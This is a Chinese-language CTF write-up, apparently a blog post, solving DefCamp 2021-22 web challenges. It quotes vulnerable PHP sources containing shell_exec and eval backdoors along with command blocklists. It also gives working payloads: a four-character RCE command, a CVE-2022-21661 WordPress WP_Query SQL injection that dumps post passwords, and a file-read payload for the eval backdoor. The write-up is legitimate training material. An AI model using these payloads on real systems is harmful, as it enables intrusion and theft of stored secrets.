DefCamp Capture the Flag (D-CTF) 2021-22 web

前言

抽空看了下web

para-code

4长度rce需要有写权限,但是题目没有写权限,只能爆破一下后面的命令

<?php
require __DIR__ . '/flag.php';
if (!isset($_GET['start'])){
    show_source(__FILE__);
    exit;
} 

$blackList = array(
  'ss','sc','aa','od','pr','pw','pf','ps','pa','pd','pp','po','pc','pz','pq','pt','pu','pv','pw','px','ls','dd','nl','nk','df','wc', 'du'
);

$valid = true;
foreach($blackList as $blackItem)
{
    if(strpos($_GET['start'], $blackItem) !== false)
    {
         $valid = false;
         break;
    }
}

if(!$valid)
{
  show_source(__FILE__);
  exit;
}

// This will return output only for id and ps. 
if (strlen($_GET['start']) < 5){
  echo shell_exec($_GET['start']);
} else {
  echo "Please enter a valid command";
}

if (False) {
  echo $flag;
}
?>

最后爆破出为 ?start=m4 *

linux m4 命令

m4 将输入拷贝到输出,同时将宏展开. 宏可以是内嵌的也可以是用户定义的. 除了可以展开宏,m4还有一些内建的函数,用来引用文件,执行Unix命令,整数运算,文本操作,循环等. m4既可以作为编译器的前端也可以单独作为一个宏处理器。

research-it

一个wordpress站点,经过扫描 /wp-content/plugins/ 存在目录遍历


wp-content 下面的文件目录

  1. languages(语言包,中文什么的,可以安装其他语言包,也放这里)
  2. plugins(各种插件,比如301插件,回复插件,自动邮件插件什么的)
  3. themes(最新版本的wordpress默认有3个主题都是放这里,自己安装的主题也是放这里的)

wp-content下面一共就这3个目录

/wp-includes/wlwmanifest.xml 获得后台地址


尝试了一些基本的wordpress的漏洞均失败,突破点 hello.php存在备份文件能查看源码 hello.php~

发现了WP_Query ,前一段时间爆出一个sql注入 CVE-2022–21661

分析文章:某Press核心框架WP_Query SQL注入漏洞分析(CVE-2022–21661)


发现 add 的 action


有点不同的是,网上的poc是采用 json方式注入,这里改一下就完事了

payload:

action=Taxonomy&args[tax_query][0][field]=term_taxonomy_id&args[tax_query][0][terms][0]=1) and extractvalue(1,co
ncat(0x5e,(select substr((select group_concat(post_password) from wp_posts),10,40)),0x5e))#

casual-defence


一开始什么线索都没有,尝试apache的漏洞也没有成功,最后通过dirsearch 发现了一个疑点,访问 index.php时返回还是这个页面,说明后端为php,然后结合题目,网站被黑,怀疑存在后门函数,只不过需要自己fuzz参数,经过手动 fuzz,发现存在cmd参数命令执行,用Wfuzz也能出参数


Disable_function:

eval,passthru,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,shell_exec,get_defined_functions

发现执行了 ban了 eval,那么就是用了assert,php7环境下,无参读文件,取反也行

payload

?cmd=var_dump(file_get_contents(end(current(get_defined_vars()))));&y0ng=index.php

源码:

<?php
$note = "most of execution functions where blocked within the php.ini :D";
	
if (!isset($_GET['cmd'])){
	echo 'Hacked by NotRealH4ck3rN4m3! You shall not elevate me!';
} 
	
if(preg_match('/system|exec|passthru|shell|[\"\'\\\$\%\.\[\]\{\}\`\!\*\/]/', $_GET['cmd'])){
	echo "Try Harder!";
} else {
	eval($_GET['cmd']);
}
$flag = "CTF{40c7bf1cd2186ce4f14720c4243f1e276a8abe49004b788921828f13a026c5f1}";
?>

然后发现用的是 eval ,不是ban了吗,网上查到的原因:

在php.ini中,有个disable_functions项目,可以用于设置要禁用的php函数。但是却不能禁用eval函数。是因为eval并不是php的函数,而是zend的函数。

要想禁用eval函数需要使用 Suhosin php插件,php 禁用eval( )函数

it-support

Laravel v8.83.0 (PHP v7.3.33)

首页:


提交抓包:


测出xss,但是貌似没什么用


观察生成的ticket


这个是ticket的格式是这样的:TK-(year)(month)(day)(minutes)(second)-1xxx

当我刷新页面时只有时间和状态发生了变化,时间有大概两三秒的差别,状态从penting变为closed


然后就是一直爆破 ticket 的秒和后面的1xxx,我没爆出来

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值